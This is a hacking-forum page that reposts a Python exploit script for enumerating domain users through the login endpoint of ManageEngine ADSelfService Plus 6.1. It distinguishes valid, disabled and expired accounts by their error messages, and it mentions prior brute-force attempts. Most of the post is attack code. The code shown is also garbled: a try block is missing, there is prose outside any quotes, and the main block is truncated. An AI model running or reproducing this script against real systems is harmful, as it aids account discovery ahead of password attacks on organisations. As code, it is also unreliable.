Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

ManageEngine ADSelfService Plus 6.1 - User Enumeration



Recommended Posts

# Exploit Title: ManageEngine ADSelfService Plus 6.1 - User Enumeration
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Version: ADSelfService 6.1 Build 6121
# Tested Against: Build 6118 - 6121
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md

# !/usr/bin/python3
import requests
import sys
import time
import urllib3
from urllib3.exceptions import InsecureRequestWarning

The domain users can be enumerated like userenum module of the kerbrute tool using this exploit.
If you conducted a brute-force attack against a user, please run the script after 30 minutes (default settings) otherwise the results can be false positive.

def request(target, user):
    url = target + 'ServletAPI/accounts/login'
    data = {"loginName": user}
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
    req = requests.post(url, data=data, headers=headers, verify=False)

    # For debugging
    # print("[*] Response for " + user + ": " + req.text.strip())
    if 'PASSWORD' in req.text:
        print("[+] " + user + " is VALID!")
    elif 'Your account has been disabled' in req.text:
        print("[+] " + user + " account has been DISABLED.")
    elif 'Your account has expired' in req.text:
        print("[+] " + user + " account has EXPIRED.")
    elif 'Enter the text as shown in the image.' in req.text:
        print("[!] The exploit doesn't detect expired and disabled users. Please, run it after the 30 minutes. ")
    elif 'Permission Denied.' in req.text:
        print("[-] " + user + " is not found.")

def get_users(target, file):
        file = open(file, "r")
        for line in file:
            line = line.strip()
            request(target, user=line)
    except FileNotFoundError:
        print("[-] File not found!")

def main(args):
    if len(args) != 3:
        print("[*] Usage: %s url usernames_file" % (args[0]))
        print("[*] Example: %s https://target/ /tmp/usernames.txt" % (args[0]))
    get_users(target=args[1], file=args[2])

if __name__ == "__main__":
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...